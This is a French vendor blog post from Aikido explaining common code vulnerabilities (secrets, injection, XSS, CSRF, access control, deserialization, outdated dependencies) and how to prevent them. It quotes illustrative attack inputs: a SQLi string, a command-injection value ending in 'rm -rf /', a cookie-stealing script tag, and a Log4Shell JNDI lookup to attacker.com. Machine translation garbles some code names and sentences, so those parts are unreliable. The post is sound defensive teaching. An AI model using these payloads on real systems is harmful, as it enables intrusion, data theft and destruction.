Aikido

Les 10 principales vulnérabilités de sécurité du code détectées dans les applications modernes

Ruben CamerlynckRuben Camerlynck
|
#
#
#

Principales vulnérabilités en matière de sécurité des codes

Introduction : Dans le paysage logiciel actuel, la sécurité du code est une question cruciale. L'année 2025 a battu tous les records en matière de vulnérabilités divulguées, avec plus de 21 500 CVE rien qu'au cours du premier semestre. Les pirates n'hésitent pas à exploiter ces failles, souvent dans les heures qui suivent leur divulgation. Le plus étonnant, c'est que la plupart d'entre elles ne sont pas des vulnérabilités 0-day inédites, mais les mêmes erreurs que les développeurs commettent depuis des décennies. C'est presque embarrassant : les scripts intersites et les injections SQL sont toujours très répandus dans les CVE récemment signalés, ce qui souligne le fait que les pratiques de codage sécurisé ne suivent pas le rythme. Cela devrait préoccuper toutes les équipes de développement, car les exploits de vulnérabilité représentent désormais 20 % des violations, dépassant presque les identifiants volés comme principal vecteur d'attaque initial.

Illustration : le nombre de vulnérabilités logicielles atteint des sommets historiques, avec 133 nouvelles CVE signalées en moyenne chaque jour en 2025. Plus d'un tiers d'entre elles sont classées comme élevées ou critiques, ce qui rend plus que jamais indispensables l'application rapide de correctifs et la sécurisation du codage.

Pourquoi est-ce important ? Parce qu'une seule erreur de codage peut réduire à néant des millions de dollars d'investissements en matière de sécurité. Par exemple, en 2024, une violation du Trésor américain a été attribuée à rien de plus qu'une fuite de clé API. Et nous avons tous vu comment une simple injection SQL ou un contrôle d'authentification manquant peuvent entraîner des fuites de données catastrophiques. La sécurité du code est plus importante que jamais. Ce n'est pas seulement le problème de l'équipe de sécurité : cela commence par nous, les développeurs, qui devons écrire un code plus sûr dès le départ et utiliser des outils pour détecter les problèmes à un stade précoce.

Dans cet article, nous allons passer en revue les principales vulnérabilités de sécurité au niveau du code qui affectent les applications modernes. Il s'agit notamment des bogues classiques dans votre propre code (pensez aux secrets codés en dur ou aux failles de validation des entrées) ainsi que des CVE réels dans les bibliothèques et les frameworks open source sur lesquels vous vous appuyez. Pour chaque vulnérabilité, nous expliquerons son fonctionnement, donnerons un exemple concret, discuterons de son impact et fournirons des conseils pratiques pour la prévenir. Nous soulignerons également comment sécurité axée sur les développeurs , tels Aikido aider à détecter, voire à corriger automatiquement ces problèmes avant qu'ils n'atteignent la phase de production.

Que sont les vulnérabilités de sécurité du code ?

Une vulnérabilité de sécurité du code est toute faiblesse dans le code source d'une application qu'un attaquant peut exploiter pour compromettre la confidentialité, l'intégrité ou la disponibilité. Cela englobe tout, des simples erreurs (par exemple, l'utilisation de eval sur des entrées non sécurisées) à des failles subtiles dans des bibliothèques tierces (par exemple, un bug d'analyse syntaxique conduisant à l'exécution de code à distance). En bref, si cela facilite la tâche d'un pirate, il s'agit d'une vulnérabilité du code.

Ces faiblesses concernent tous les langages et toutes les piles technologiques, que vous écriviez en JavaScript/TypeScript, Python, Go, Java ou tout autre langage. Une vulnérabilité peut permettre à un pirate d'injecter du code malveillant, de voler des données sensibles, d'élever ses privilèges ou de planter votre système. Bon nombre de ces failles sont répertoriées sous le nom de CVE (Common Vulnerabilities and Exposures) lorsqu'elles sont découvertes dans des logiciels courants. D'autres peuvent être des bogues logiques uniques dans votre propre code. Leur point commun est qu'elles résultent de pratiques de codage non sécurisées ou d'hypothèses négligées.

Dans cette optique, examinons certaines des vulnérabilités au niveau du code les plus courantes et les plus dangereuses qui affectent aujourd'hui les développeurs. La liste ci-dessous mélange des erreurs courantes commises par les développeurs et des CVE réels issus de projets open source. Chacune d'entre elles représente une menace concrète qui peut entraîner de graves violations si elle n'est pas traitée.

Les 10 principales vulnérabilités en matière de sécurité des codes (et comment les corriger)

1. Secrets codés en dur dans le code

Laisser des secrets sensibles intégrés dans le code est une erreur grave mais courante. Le codage en dur des clés API, des identifiants, des clés de chiffrement ou des jetons dans votre source signifie que si un adversaire voit ce code (pensez à un dépôt public ou à un artefact divulgué), il obtient instantanément l'accès à ces secrets. Même dans les dépôts privés, les identifiants peuvent être divulgués accidentellement et, une fois divulgués, ils restent souvent utilisables pendant des années. En effet, le rapport 2025 GitGuardiana révélé que 23,8 millions de secrets avaient été exposés sur GitHub en 2024 (soit une augmentation de 25 % par rapport à l'année précédente). Pire encore, 70 % des secrets divulgués en 2022 étaient toujours valides en 2025, ce qui donnait aux attaquants une longue période pour les exploiter.

Les violations réelles soulignent l'impact. Par exemple, en 2024, des pirates ont violé un système du département du Trésor américain en exploitant une seule clé API codée en dur pour une plateforme d'authentification. Grâce à cette clé, ils ont contourné plusieurs niveaux de contrôle de sécurité comme s'ils étaient des utilisateurs autorisés. De même, de nombreuses cloud commencent par un développeur qui enregistre par inadvertance cloud ou des mots de passe de base de données dans un référentiel. Une fois que les pirates ont trouvé ces informations, c'est fini : ils peuvent se connecter à votre place et usurper l'identité de vos services.

Impact : les secrets exposés peuvent entraîner un accès non autorisé immédiat aux bases de données, cloud , aux passerelles de paiement ou aux API tierces. Un pirate informatique disposant d'une clé AWS divulguée, par exemple, pourrait mettre en place une infrastructure, exfiltrer des données ou accumuler des factures astronomiques. Le coût moyen des violations impliquant des identifiants compromis s'élève à 4,5 millions de dollars, et elles sont les plus longues à détecter et à contenir, car le pirate dispose essentiellement d'un accès valide.

Prévention/Correction : Traitez les secrets comme s'il s'agissait de grenades actives : ne les intégrez jamais dans votre code ou vos fichiers Dockerfiles. Utilisez des variables d'environnement, la gestion de configuration ou des coffres-forts dédiés pour injecter des secrets lors de l'exécution. Implémentez un scan automatisé des secrets dans votre pipeline CI/CD afin de détecter toute information d'identification qui s'y serait glissée. (Il existe des solutions qui offrent une fonctionnalité de détection des secrets en temps réel afin d'empêcher leur validation.) Par exemple, la plateforme Aikidoinclut une analyse des secrets qui signale une clé API dans une validation et vous alerte, voire empêche la mise à jour. Une fois qu'un secret est exposé, considérez-le comme compromis : remplacez-le immédiatement et invalidez l'ancien. En adoptant de bonnes pratiques en matière d'hygiène et d'analyse des secrets, vous pouvez éviter de remettre les clés de votre royaume entre les mains des attaquants.

2. Attaques par injection (injection SQL et injection de commande)

Les vulnérabilités liées aux « injections » sont un grand classique qui reste extrêmement répandu. Dans une attaque par injection de code, des données non fiables sont interprétées comme du code ou des commandes, ce qui permet à l'attaquant de modifier le comportement prévu. Les deux variantes les plus connues sont l'injection SQL et l'injection de commandes OS.

  • Injection SQL (SQLi) : Se produit lorsque les entrées utilisateur sont concaténées dans une requête SQL sans validation ou paramétrage appropriés. Les attaquants peuvent créer des entrées telles que ' OU 1=1-- pour altérer la logique de la requête. Cela leur permet de vider des bases de données entières ou de modifier des données en développant la clause WHERE de la requête ou en la terminant et en ajoutant une nouvelle commande. Bien qu'il s'agisse d'une vulnérabilité classique datant des années 2000, SQLi reste très répandue : elle était la deuxième vulnérabilité la plus courante dans les CVE en 2025. Par exemple, le tristement célèbre «« Bobby Tables » XKCD La blague est drôle jusqu'à ce que vous réalisiez que de vraies entreprises en sont encore victimes. Il y a eu des violations très médiatisées où une simple injection SQL dans un formulaire de connexion a conduit au vol de millions de dossiers clients.
  • Injection de commande OS : Dans ce cas, l'application prend en compte les données saisies par l'utilisateur et les insère dans une commande système ou un appel d'exécution shell. Par exemple, une application Python pourrait faire os.system("ping " + user_input). Un attaquant pourrait fournir une entrée telle que 8.8.8.8 && rm -rf / pour exécuter une deuxième commande malveillante. Des CVE ont été détectés dans des frameworks web et des utilitaires qui ont involontairement permis à de telles entrées de générer des shells. En substance, si un attaquant parvient à injecter un ; ou && dans une chaîne de commande, ils peuvent exécuter des commandes système arbitraires avec les privilèges de l'application.

Exemple : un incident notable dans le monde réel a été la vulnérabilité Drupalgeddon2 (CVE-2018-7600) dans le CMS Drupal, qui était essentiellement une faille d'injection permettant l'exécution de code à distance via des requêtes spécialement conçues. Autre exemple : en 2022, une grande entreprise a vu ses données internes effacées parce qu'un outil d'administration a concaténé les entrées des utilisateurs dans une commande PowerShell. Un pirate a alors transmis une commande pour désactiver les services de sécurité et supprimer les données. Ces cas montrent que l'injection peut conduire directement à la compromission totale du système.

Impact : les injections SQL peuvent exposer ou corrompre des données sensibles (enregistrements utilisateur, informations financières) et permettent souvent un pivotement réseau plus profond via les procédures stockées de la base de données. Les injections de commandes aboutissent presque toujours à une exécution de code à distance (RCE), permettant aux attaquants d'exécuter n'importe quel code sur le serveur, voire de prendre entièrement le contrôle de l'hôte. failles d’injection extrêmement critiques ; elles peuvent compromettre une application et son serveur sous-jacent.

Prévention : Le mantra est ne faites jamais confiance aux données saisies par l'utilisateur. Utilisez des instructions préparées (requêtes paramétrées) pour accéder à la base de données. Cela garantit que les données utilisateur sont traitées strictement comme des données, et non comme du code SQL exécutable. Par exemple, en Python, utilisez des paramètres de remplacement avec cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) plutôt que le formatage de chaînes. Pour les langages tels que JavaScript, utilisez des bibliothèques ORM/QueryBuilder qui paramètrent les requêtes à votre place. De même, évitez de construire des commandes shell à partir d'éléments saisis par l'utilisateur. Si vous devez invoquer des commandes système, utilisez des appels de bibliothèque sécurisés ou, au minimum, ajoutez les entrées acceptables à une liste blanche. Validez et nettoyez les entrées. Par exemple, si une entrée doit être un identifiant, assurez-vous qu'il s'agit d'un nombre et qu'il se situe dans la plage attendue. La validation des entrées n'est pas infaillible à elle seule, mais elle constitue une couche importante.

Utilisez également des outils de test de sécurité. analyse statique du code souvent analyse statique du code détecter des modèles d'injection évidents (comme la concaténation de chaînes dans les appels SQL). SAST Aikido, par exemple, signalerait le risque os.system(entrée_utilisateur) appel ou requête SQL non paramétrée comme une injection potentielle. Du côté préventif, les pare-feu d'applications Web (WAF) peuvent bloquer certaines tentatives d'injection, mais ils constituent un filet de sécurité : l'objectif est de corriger le code. N'oubliez pas que failles d’injection parce qu'elles sont faciles à introduire et parfois difficiles à détecter. Code review, la formation des développeurs et les analyses automatisées sont vos alliés dans ce domaine.

3. cross-site scripting

Le cross-site scripting est un autre outil très prisé des pirates informatiques. Dans une attaque XSS, une application web inclut par inadvertance un code script malveillant fourni par un pirate dans les pages envoyées à d'autres utilisateurs. Le navigateur de la victime exécute ce script, ce qui entraîne le détournement de sessions, la défiguration de sites ou la transmission de logiciels malveillants à l'utilisateur. Il existe plusieurs types de XSS (stocké, réfléchi, basé sur DOM), mais à la base, il s'agit généralement d'un défaut de nettoyage ou d'encodage des données de sortie dans l'interface utilisateur.

Malgré l'essor des frameworks front-end modernes, le XSS reste le type de vulnérabilité web le plus fréquent. Au premier semestre 2025, le cross-site scripting était la faille la plus courante observée dans les nouvelles CVE. Cela s'explique en partie par le fait que même de légères négligences dans la désinfection peuvent introduire du XSS dans des plateformes par ailleurs sécurisées. Par exemple, une nouvelle vulnérabilité Angular révélée en 2025 (CVE-2025-66412) a montré que certains attributs SVG et MathML n'étaient pas couverts par le nettoyeur par défaut d'Angular, ce qui permettait à des URL JavaScript malveillantes de passer entre les mailles du filet. Dans les applications utilisant les versions Angular concernées, un attaquant pouvait créer une charge utile qui, une fois rendue, exécutait un script arbitraire dans les navigateurs des utilisateurs : un XSS stocké dans ce qui était censé être un cadre sécurisé !

Exemple : Un exemple classique est une section de commentaires où les utilisateurs peuvent publier du texte. Si l'application se contente d'afficher ce texte sur les pages sans l'encoder, un pirate pourrait publier un commentaire tel que <script>stealCookies()</script>. Chaque utilisateur consultant ce commentaire exécuterait à son insu le script de l'attaquant, qui pourrait, par exemple, envoyer son jeton de session à l'attaquant. Des incidents réels se sont produits sur des sites très fréquentés, où des XSS dans les profils d'utilisateurs ou les forums ont conduit à un piratage massif de comptes. Même en 2023, des chercheurs ont découvert des XSS dans divers plugins et applications web. Par exemple, un XSS réfléchi dans un portail d'assistance d'entreprise très populaire a permis à un pirate d'exécuter du code en incitant un utilisateur du service d'assistance à cliquer sur un lien spécialement conçu.

Impact : L'impact du XSS se traduit généralement par une usurpation d'identité et un vol de données côté client. Les pirates peuvent voler des cookies de session, ce qui leur permet d'usurper l'identité des utilisateurs (y compris des administrateurs). Ils peuvent effectuer des actions en tant qu'utilisateur (comme modifier les paramètres de votre compte), afficher de faux formulaires de connexion (hameçonnage) ou même propager des vers (un XSS qui se propage à d'autres pages). Bien que le XSS ne compromette pas directement le serveur, il expose vos utilisateurs à un risque sérieux et peut dégrader votre application. Dans certains cas, le XSS peut constituer une étape vers d'autres attaques (par exemple, pivoter vers le navigateur d'un administrateur pour obtenir un accès au backend).

Prévention : la règle d'or consiste à sanitiser les entrées et à encoder les sorties. Pour toutes les données susceptibles de contenir des caractères spéciaux HTML, assurez-vous qu'elles sont correctement échappées ou sanitisées avant de les insérer dans la page. Les frameworks modernes tels que React, Angular et Vue intègrent des défenses XSS (par exemple, l'échappement automatique ou DomPurify pour le HTML dangereux) : utilisez-les comme prévu et évitez de contourner ces protections. Si vous créez manuellement du code HTML, utilisez des bibliothèques de modèles quiescape appellent explicitement des fonctions d'encodage. Utilisez une politique de sécurité du contenu (CSP) pour atténuer les dommages (la CSP peut restreindre les scripts pouvant être exécutés). Mettez régulièrement à jour les bibliothèques frontales. Comme le montrent les CVE XSS 2025 d'Angular, les frameworks corrigent les failles de nettoyage.

Du point de vue de l'outillage, analyseurs statiques peut détecter certains problèmes XSS en traçant les flux de données non nettoyés. Le scan de code Aikido, par exemple, peut vous alerter si les entrées utilisateur sont directement transmises à innerHTML ou un modèle sans échappement. analyse dynamique DAST) peut également détecter les XSS en tentant d'injecter des scripts pendant les tests. Combinez ces méthodes avec code review approfondie code review imaginez l'état d'esprit d'un pirate informatique lorsqu'il examine un code qui traite du HTML). La clé réside dans la vigilance : les XSS s'introduisent souvent par ce « petit champ » que quelqu'un a oublié escape.

4. Falsification de requête intersite (CSRF)

La falsification de requêtes intersites ( CSRF ) diffère quelque peu des autres problèmes abordés ici : il s'agit davantage d'une vulnérabilité de conception que d'un bug de code pur et simple, mais elle est très pertinente pour les applications Web. La CSRF permet à un pirate de tromper le navigateur d'une victime afin qu'il effectue des actions non autorisées sur une application Web dans laquelle la victime est authentifiée. En substance, le pirate « chevauche » la session de la victime en envoyant une requête falsifiée depuis le navigateur de la victime vers l'application cible.

Comment cela se produit-il ? Imaginons qu'un utilisateur soit connecté au site Web de sa banque. La fonctionnalité de transfert d'argent de la banque consiste en une simple requête POST pour transférer de l'argent. Si le site de la banque n'est pas protégé contre les attaques CSRF, un pirate pourrait envoyer à cet utilisateur une page HTML malveillante contenant un formulaire ou un script caché qui effectue automatiquement cette requête POST (en utilisant les cookies de l'utilisateur). La banque voit un cookie de session valide provenant de l'utilisateur et traite la requête, transférant ainsi de l'argent à l'attaquant, tout cela à l'insu de l'utilisateur.

Le CSRF est bien connu depuis des années, mais il apparaît encore fréquemment (il figurait parmi les 5 principales catégories de failles dans les CVE 2025). Il survient souvent lorsque les développeurs créent des API ou des actions de formulaire sans inclure de jetons CSRF ou d'autres mesures anti-contrefaçon. Même les frameworks les plus expérimentés peuvent présenter des bogues logiques : par exemple, une vulnérabilité Angular 2025 a été découverte, dans laquelle la protection XSRF d'Angular traitait par erreur certaines URL interdomaines comme étant de même origine, ce qui l'amenait à joindre le jeton de l'utilisateur à des requêtes contrôlées par l'attaquant. Ce type de faille pourrait permettre le CSRF en divulguant ou en utilisant de manière abusive des jetons.

Impact : une attaque CSRF réussie peut forcer les utilisateurs à effectuer toute action susceptible de modifier l'état de leur compte : mise à jour des informations du compte, achats, modification du mot de passe, voire augmentation des privilèges si cette fonctionnalité existe. En substance, l'attaquant profite de la session authentifiée de la victime. Il est à noter que les attaques CSRF ciblent des actions et non le vol direct de données (c'est le rôle du XSS), mais ces actions peuvent être tout aussi préjudiciables (transactions financières, modifications de données, etc.). De nombreuses exploitations CSRF très médiatisées ont permis à des attaquants, par exemple, de modifier les paramètres DNS d'un routeur depuis l'intérieur ou de publier du contenu indésirable au nom d'un utilisateur sur les réseaux sociaux.

Prévention : La défense standard consiste à inclure un jeton anti-CSRF dans chaque transaction sensible. Les frameworks tels que Django, Rails, Spring, etc. intègrent des mécanismes de jetons CSRF : utilisez-les. Le jeton est une valeur aléatoire que le site d'un attaquant ne peut pas obtenir, et le serveur n'honorera que les requêtes qui ont le jeton correct (généralement envoyé sous forme de champ de formulaire caché ou d'en-tête). Dans les applications modernes, si vous construisez un backend API pur, vous pouvez utiliser des stratégies telles que l'exigence d'un en-tête personnalisé (par exemple, X-Requested-With) ou de cookies same-site définis sur Strict/Lax pour atténuer les risques liés au CSRF. Assurez-vous que vos cookies sont marqués. SameSite=Lax ou Strict afin que les navigateurs ne les incluent pas par défaut dans les requêtes inter-origines (ceci est devenu une défense moderne essentielle). Soyez également prudent avec les configurations CORS : ne laissez pas le domaine d'un pirate envoyer des requêtes privilégiées via CORS, sauf si cela est absolument nécessaire.

La plupart des frameworks web gèrent le CSRF pour vous si vous l'activez correctement. Assurez-vous qu'il n'est pas désactivé accidentellement. Lors des tests, essayez plusieurs scénarios CSRF : une action peut-elle être déclenchée simplement en visitant un lien externe ou en chargeant une image ? Si oui, vous avez un problème. Heureusement, le CSRF peut être évité grâce à de bonnes pratiques. Les tests de sécurité Aikidopeuvent également simuler des tentatives de CSRF dans le cadre de tests d'intrusion. En outre, envisagez des actions critiques à plusieurs facteurs (ainsi, même si le CSRF déclenche l'action, un deuxième facteur est nécessaire pour la mener à bien). Dans l'ensemble, ne présumez jamais qu'une requête provient d'une source authentique : validez-la.

5. authentification défaillante contrôle d'accès

authentification défaillante les vulnérabilités liées au contrôle d'accès concernent les situations où votre application n'applique pas correctement les règles d'accès. Cette catégorie figure systématiquement parmi les risques les plus critiques du Top 10 OWASP. Il s'agit essentiellement de failles qui permettent aux pirates de contourner l'authentification ou d'élever leurs privilèges en exploitant les lacunes de votre logique d'autorisation.

Un sous-ensemble est authentification défaillante – des problèmes tels que l'autorisation de mots de passe faibles, l'absence de verrouillage en cas de tentatives de force brute ou une gestion des sessions défaillante (par exemple, des identifiants de session prévisibles ou qui n'expirent pas). Un exemple historique célèbre est celui de certaines applications qui acceptaient comme valide un JWT avec l'algorithme « none », ce qui signifiait qu'un pirate pouvait falsifier un jeton avec { "alg": "none", "user": "admin" } et le système l'acceptait comme connexion administrateur (ceci résultait d'une vérification incorrecte des jetons par les bibliothèques, un problème découvert vers 2015). Plus récemment, des erreurs de configuration telles que le maintien des identifiants administrateur par défaut ou l'utilisation de mots de passe codés en dur (liés aux secrets) sont des échecs d'authentification courants.

L'autre sous-ensemble (sans doute plus répandu) est contrôle d’accès défaillantIl s'agit ici d'un problème lié à la vérification incorrecte des autorisations utilisateur. Par exemple, une application peut autoriser une URL telle que /user/profile?userId=1234Si je peux changer le userId à l'identifiant d'une autre personne et consulter ou modifier ses données, il s'agit d'un IDOR (Insecure Direct Object Reference), une faille classique de contrôle d'accès. Cela a été mis en évidence sous le nom de CWE-862 « Missing Authorization » dans de nombreux CVE. C'est extrêmement courant : de nombreuses violations très médiatisées commencent par la découverte d'un point de terminaison API qui ne vérifie pas les privilèges du demandeur. Exemple concret : un système RH d'entreprise disposait d'une fonction « exporter tous les dossiers des employés » destinée aux responsables RH. En raison d'un contrôle manquant, tout employé connecté pouvait l'invoquer s'il connaissait l'URL, ce qui a entraîné une violation de données de milliers de dossiers.

Impact : une authentification défaillante peut permettre à des pirates de se faire passer pour d'autres utilisateurs (y compris des administrateurs) ou d'utiliser les privilèges d'un autre utilisateur. contrôle d’accès défaillant exposer des données sensibles (si vous pouvez accéder aux dossiers d'une autre personne) ou même permettre des modifications malveillantes (par exemple, des utilisateurs normaux effectuant des actions réservées aux administrateurs). Les scénarios les plus pessimistes incluent la prise de contrôle complète de comptes, des fuites de données ou des opérations non autorisées à travers le système. Par exemple, l'absence de vérification administrative pourrait permettre à un pirate de créer de nouveaux utilisateurs administrateurs ou de télécharger toutes les données clients. Il est facile de comprendre pourquoi ce risque est classé n° 1 : il sape le principe fondamental de sécurité qui consiste à garantir que chaque utilisateur ne peut faire que ce qu'il est censé faire.

Prévention : cela revient à mettre en œuvre une authentification et une autorisation rigoureuses :

  • Authentification : utilisez des frameworks éprouvés pour la gestion des connexions et des sessions – évitez autant que possible de créer votre propre système d'authentification. Appliquez des politiques de mot de passe strictes et utilisez l'authentification multifactorielle pour les comptes sensibles. Assurez-vous de hacher correctement les mots de passe (utilisez des hachages adaptatifs puissants tels que bcrypt ou Argon2, et non le simple MD5). Mettez en place un verrouillage de compte ou limitation de débit les tentatives de connexion afin de contrecarrer les attaques par force brute. Pour les jetons de session, veillez à ce qu'ils soient longs et aléatoires. Si vous utilisez des JWT, vérifiez toujours les signatures et les revendications (et rejetez les algorithmes « none » ou autres configurations non sécurisées). Envisagez d'utiliser des bibliothèques pour gérer la vérification des JWT et le stockage des sessions de manière sécurisée.
  • Contrôle d'accès : Suivez le principe du moindre privilège dans la conception de votre application. Côté serveur, chaque requête vers une ressource protégée doit faire l'objet d'un contrôle d'autorisation : par exemple, si l'utilisateur 123 demande /comptes/456, le code doit vérifier que 123 est autorisé à accéder à la ressource 456. Utilisez des cadres de contrôle d'accès basés sur les rôles ou les attributs lorsque cela est possible. Il est souvent utile de centraliser la logique d'autorisation afin qu'elle ne soit pas dispersée dans un million de conditions faciles à oublier. Lorsque vous utilisez des frameworks tels que Django, Rails, Spring Security, etc., tirez parti de leurs annotations ou middlewares de contrôle d'accès intégrés. Dans les API REST, évitez de vous fier uniquement à l'application côté client (comme le masquage des boutons d'administration dans l'interface utilisateur) : appliquez toujours également le contrôle côté serveur.

Pendant le développement et les tests, pensez comme un pirate : essayez de manipuler les URL, d'accéder aux identifiants d'autres utilisateurs ou d'effectuer des actions qui ne relèvent pas de votre rôle. Des outils tels que les tests de sécurité Aikido(ou les tests d'intrusion manuels) peuvent aider à identifier ces problèmes en recherchant les modèles IDOR courants ou les authentifications manquantes sur les points de terminaison. Certains outils d'analyse statique peuvent également détecter les contournements codés en dur ou les conditions toujours vraies dans la logique d'authentification.

Dans le code, ne présumez jamais de la « sécurité par l'obscurité » (c'est-à-dire que personne ne trouvera ce point de terminaison administratif caché). Au contraire, assurez-vous que même s'ils le trouvent, ils ne puissent pas l'utiliser sans les informations d'identification appropriées. La journalisation et les alertes sont également essentielles : si quelqu'un accède de manière répétée à des ressources auxquelles il ne devrait pas avoir accès, vous devez en être informé. En résumé : authentifiez tout, autorisez chaque action.

6. Désérialisation non sécurisée

Les vulnérabilités de désérialisation se produisent lorsqu'une application accepte des données sérialisées (par exemple, des blobs binaires ou des fichiers JSON/XML représentant des objets) provenant d'une source non fiable et les désérialise sans mesures de protection adéquates. Si les données sont conçues de manière malveillante, cela peut entraîner l'instanciation d'objets inattendus ou l'exécution de code contrôlé par l'attaquant. Dans des langages tels que Java, Python et .NET, la désérialisation non sécurisée a donné lieu à de nombreuses vulnérabilités CVE et exploits critiques.

Un exemple récent très médiatisé est React2Shell (CVE-2025-55182), une faille RCE critique dans React Server Components découverte fin 2025. Elle provenait d'une désérialisation non sécurisée dans le protocole RSC « Flight » : en substance, une charge utile malformée envoyée à une application Next.js/React pouvait manipuler la logique de désérialisation du serveur et permettre l'exécution de code à distance. Ce qui rend cette faille particulièrement effrayante, c'est que les configurations par défaut étaient vulnérables (une application Next.js standard pouvait être exploitée sans que le développeur n'ait à modifier le code). Il s'agissait d'une attaque non authentifiée ne nécessitant qu'une requête HTTP spécialement conçue envoyée au serveur, et le code d'exploitation a été rendu public, ce qui a conduit à des exploits actifs dans la nature en quelques jours. Cela montre à quel point les failles de désérialisation peuvent se cacher même dans les frameworks modernes.

En Java, un cas tristement célèbre a été l'exploitation d'Apache Commons Collections en 2015 : de nombreuses applications d'entreprise utilisaient des bibliothèques qui désérialisaient automatiquement les objets Java à partir des entrées utilisateur (comme dans les cookies HTTP ou les données SOAP). Les pirates ont découvert qu'ils pouvaient inclure un objet sérialisé d'une classe malveillante qui, une fois construit, exécutait des commandes. Cela a conduit à des RCE dans des applications telles que Jenkins, WebLogic, etc. (Plusieurs CVE, comme CVE-2017-9805 dans Struts et d'autres dans WebLogic, ont permis de résoudre ces problèmes). Python n'est pas non plus à l'abri : l'utilisation de pickle.charges sur des entrées non fiables revient essentiellement à donner à ces entrées le pouvoir d'exécuter du code. Même les formats de données apparemment sûrs peuvent présenter des risques : les analyseurs YAML en Python et Ruby présentaient des vulnérabilités qui pouvaient les contraindre à exécuter des commandes lors du chargement de fichiers YAML spécialement conçus.

Impact : La désérialisation non sécurisée est souvent un moyen d'accéder à exécution de code à distance. Au minimum, cela peut permettre la falsification des données ou l'injection d'objets indésirables. Un pirate peut potentiellement instancier des classes ou des objets système avec des effets secondaires néfastes. Par exemple, en Java, il peut utiliser des classes gadget (objets dont lireObjet méthode a un comportement indésirable) pour ouvrir un shell inversé. En Python, un pickle malveillant pourrait importer le os module et exécuter des commandes système. L'impact est généralement la compromission totale de l'application, et éventuellement de l'hôte, car le code s'exécute dans le processus de l'application.

Prévention : Tout d'abord, évitez autant que possible de sérialiser et désérialiser des formats de données sensibles ou arbitraires provenant de sources non fiables. Si vous devez échanger des données avec le client, utilisez des formats plus simples tels que JSON et analysez/validez le contenu manuellement plutôt que de recourir à la sérialisation d'objets en langage natif. Pour les langages qui nécessitent une désérialisation (par exemple, la réception d'objets complexes), utilisez des bibliothèques qui prennent en charge un mode sécurisé ou une liste blanche de classes. Par exemple, Java's ObjetInputStream peut être limité à certaines classes via un filtre de validation (disponible dans les versions récentes du JDK). De même, pour Python, préférez json ou si vous devez utiliser YAML, utilisez safe_load au lieu de charge (pour éviter toute instanciation potentielle d'objet).

De nombreux frameworks ont traité les vecteurs de désérialisation connus, par exemple en désactivant les paramètres par défaut dangereux. Veillez à maintenir ces bibliothèques à jour. La vulnérabilité React mentionnée ci-dessus a été corrigée par des correctifs apportés à Next.js et React. Il est essentiel de procéder à la mise à niveau de ces derniers. analyse des dépendances vous analyse des dépendances de ces CVE afin que vous puissiez appliquer les correctifs rapidement.

Du point de vue du code, traitez la désérialisation comme le chargement d'un fichier provenant d'une source non fiable. ne faites jamais confiance à son contenu. Si possible, implémentez des contrôles d'intégrité ou des signatures pour les données sérialisées (afin que seul le serveur puisse produire des objets sérialisés valides). Si vous utilisez des JWT ou d'autres jetons, privilégiez les formats standard avec validation intégrée. SAST Aikido SAST aider à signaler l'utilisation de fonctions non sécurisées (par exemple, il peut avertir s'il détecte pickle.charges sur des données dont la fiabilité n'est pas évidente). Et si vous devez absolument accepter des objets sérialisés, envisagez d'exécuter cette logique dans un environnement sandboxé avec des privilèges limités.

En résumé : soyez extrêmement prudent avec la désérialisation. La commodité de transformer automatiquement des octets en objets ne vaut pas le risque pour la sécurité, à moins d'être très strictement contrôlée.

7. Utilisation de dépendances vulnérables et obsolètes

Les applications modernes s'appuient largement sur des bibliothèques et des frameworks open source. L'inconvénient est que si vous ne les mettez pas à jour régulièrement, vous risquez de héberger des vulnérabilités connues dans votre base de code. L'utilisation de composants vulnérables ou obsolètes est si répandue que l'OWASP l'a intégrée dans la catégorie plus large « Chaîne logistique logicielle » en 2025. Une seule bibliothèque obsolète peut rendre votre application exploitable, même si votre propre code est irréprochable.

L'exemple type est Log4Shell (CVE-2021-44228) dans Log4j 2. Il s'agissait d'une vulnérabilité RCE critique dans une bibliothèque de journalisation Java extrêmement populaire, révélée à la fin de l'année 2021. Elle permettait aux pirates d'envoyer simplement une chaîne spécialement conçue (${jndi:ldap://attacker.com/a}) dans n'importe quel message de journal ; si une version vulnérable de Log4j enregistrait cette chaîne, elle effectuait une recherche JNDI sur le serveur de l'attaquant et chargeait un code malveillant. Le résultat ? Un attaquant pouvait exécuter un code arbitraire sur le serveur, déclenché par un événement de journal. Log4Shell était partout – Des millions d'applications ont été touchées, car Log4j était intégré dans d'innombrables produits Java. Les entreprises ont passé des semaines à mettre frénétiquement à jour Log4j vers la version 2.17+ pour corriger le problème. Ce bug de dépendance a été qualifié de l'une des vulnérabilités Internet les plus graves depuis des années.

Et les exemples ne manquent pas : le bug Heartbleed dans OpenSSL (2014) a exposé les communications, les failles de désérialisation Jackson-databind (plusieurs CVE en 2017-2019) ont permis aux attaquants d'obtenir un RCE via le traitement JSON, une vulnérabilité dans la bibliothèque Python urllib3 (CVE-2020-26137) a permis de contourner les certificats HTTPS dans certaines conditions, etc. Dans le domaine JavaScript, qui peut oublier les problèmes de pollution des prototypes dans Lodash et jQuery (par exemple, CVE-2019-10744) ? Les pirates pouvaient manipuler le prototype d'un objet via une entrée malveillante, ce qui pouvait causer des ravages dans l'application. Si vous utilisez une version obsolète d'un package populaire, il y a de fortes chances que ses vulnérabilités soient connues du grand public. Les attaquants les connaissent certainement et tenteront d'exploiter les applications qui n'ont pas été corrigées.

Impact : l'impact varie en fonction de la vulnérabilité de la bibliothèque, mais il peut être aussi grave que l'exécution de code à distance, la fuite de données ou la compromission totale. Prenons l'exemple de Log4Shell : si vous disposiez d'une ancienne version de Log4j, un pirate pouvait exécuter à distance du code sur vos serveurs en envoyant simplement la bonne chaîne de caractères (le pire scénario possible). Un framework web obsolète pourrait permettre des attaques XSS ou SQLi sur votre site, même si votre propre code est correct. Une bibliothèque de cryptographie vulnérable pourrait compromettre le chiffrement sur lequel vous comptez. En substance, votre sécurité dépend de la solidité du maillon le plus faible de vos dépendances. Les attaquants recherchent souvent des versions spécifiques de logiciels via des en-têtes ou des chemins d'accès connus afin d'identifier des cibles exploitables.

